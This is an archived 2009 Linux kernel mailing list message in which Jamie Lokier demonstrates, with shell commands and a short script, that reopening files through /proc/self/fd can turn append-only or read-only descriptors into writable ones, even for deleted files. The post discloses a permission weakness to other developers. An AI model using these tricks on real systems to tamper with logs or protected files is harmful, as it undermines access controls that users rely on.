From: Jamie Lokier <jamie@shareable.org>
To: Pavel Machek <pavel@ucw.cz>
Cc: Miklos Szeredi <miklos@szeredi.hu>,
Andreas Dilger <adilger@sun.com>,
Valdis.Kletnieks@vt.edu, linux@treblig.org, agruen@suse.de,
linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: Re: [PATCH] vfs: new O_NODE open flag
Date: Sun, 4 Oct 2009 23:58:49 +0100 [thread overview]
Message-ID: <20091004225849.GA27481@shareable.org> (raw)
In-Reply-To: <20091004190304.GJ1378@ucw.cz>
Pavel Machek wrote:
> On Mon 2009-09-28 18:04:10, Miklos Szeredi wrote:
> > a) the current permission model under /proc/PID/fd has a security
> > hole (which Jamie is worried about)
>
> I believe its bugtraq time. Being able to reopen file with additional
> permissions looks like a security problem...
>
> Jamie, do you have some test script? And do you want your 15 minutes
> of bugtraq fame? ;-).
$ mkdir secret
$ exec 3>> secret/appendonly.txt
$ chmod 000 secret # This is not changed during do_stuff
jamie@amile:~/test$ echo START OF LOG 1>&3
$ do_stuff 1>&3
cat: secret/appendonly.txt: Permission denied # A good sign
$ chmod 755 secret
$ cat secret/appendonly.txt # Let's see our log
nothing to see here # What's that doing there??!
You can re-open a deleted file with increased permisssions. That's
probably more subversive:
$ exec >>appendonlydeleted.txt
$ exec 4<appendonlydeleted.txt # I'll read it later.
$ echo START OF LOG
$ ./do_stuff
$ cat 0<&4 >/dev/tty
nothing to see here # How did they do that?!
How'd it happen?
do_stuff:
#!/bin/sh
echo some text getting logged...
echo more text...
echo no wait, let\'s subvert the append flag!
echo nothing to see here >/proc/self/fd/1
If /proc/self/fd/1 were a _real_ symbolic link, that wouldn't work.
The reopen does check the inode permission, but it does not require
you have any reachable path to the file. Someone _might_ use that as
a traditional unix security mechanism, but if so it's probably quite rare.
If converting append-only to writable doesn't sound too bad, you can
convert read-only to writable and write-only to readable. Gaining
write access to a deleted file which you only received a read-only
descriptor for sounds dodgy to me:
$ echo secret5948043853048 >secret_readonly_password.txt
$ exec 3<secret_readonly_password.txt
$ rm secret_readonly_password.txt # Now I'm sure nobody can change it!
$ echo all your base ha ha >/proc/self/fd/3
$ cat 0<&3
all your base ha ha # Oh dear, my assumption was broken.
Did you really think you had to "chmod 444" before deleting the file?
-- Jamie
next prev parent reply other threads:[~2009-10-04 22:59 UTC|newest]
Thread overview: 23+ messages / expand[flat|nested] mbox.gz Atom feed top
2009-09-24 14:51 [PATCH] vfs: new O_NODE open flag Miklos Szeredi
2009-09-25 0:23 ` Andreas Gruenbacher
2009-09-25 5:52 ` Miklos Szeredi
2009-09-25 12:37 ` Dr. David Alan Gilbert
2009-09-25 12:18 ` Miklos Szeredi
2009-09-25 17:08 ` Jamie Lokier
2009-09-25 16:53 ` Andreas Dilger
2009-09-25 17:20 ` Valdis.Kletnieks
2009-09-25 18:35 ` Dr. David Alan Gilbert
2009-09-25 21:18 ` Valdis.Kletnieks
2009-09-28 10:25 ` Miklos Szeredi
2009-09-28 13:28 ` Jamie Lokier
2009-09-28 14:07 ` Miklos Szeredi
2009-09-28 14:10 ` Jamie Lokier
2009-09-30 8:18 ` Florian Weimer
2009-09-28 15:21 ` Andreas Dilger
2009-09-28 16:04 ` Miklos Szeredi
2009-10-04 19:03 ` Pavel Machek
2009-10-04 22:58 ` Jamie Lokier [this message]
2009-10-23 17:10 ` /proc filesystem allows bypassing directory permissions on Linux (was Re: [PATCH] vfs: new O_NODE open flag) Pavel Machek
2009-10-14 13:14 ` [PATCH] vfs: new O_NODE open flag Andreas Gruenbacher
2009-09-25 19:02 ` Andreas Dilger
2009-09-28 15:53 ` Jamie Lokier
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20091004225849.GA27481@shareable.org \
--to=jamie@shareable.org \
--cc=Valdis.Kletnieks@vt.edu \
--cc=adilger@sun.com \
--cc=agruen@suse.de \
--cc=linux-fsdevel@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=linux@treblig.org \
--cc=miklos@szeredi.hu \
--cc=pavel@ucw.cz \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).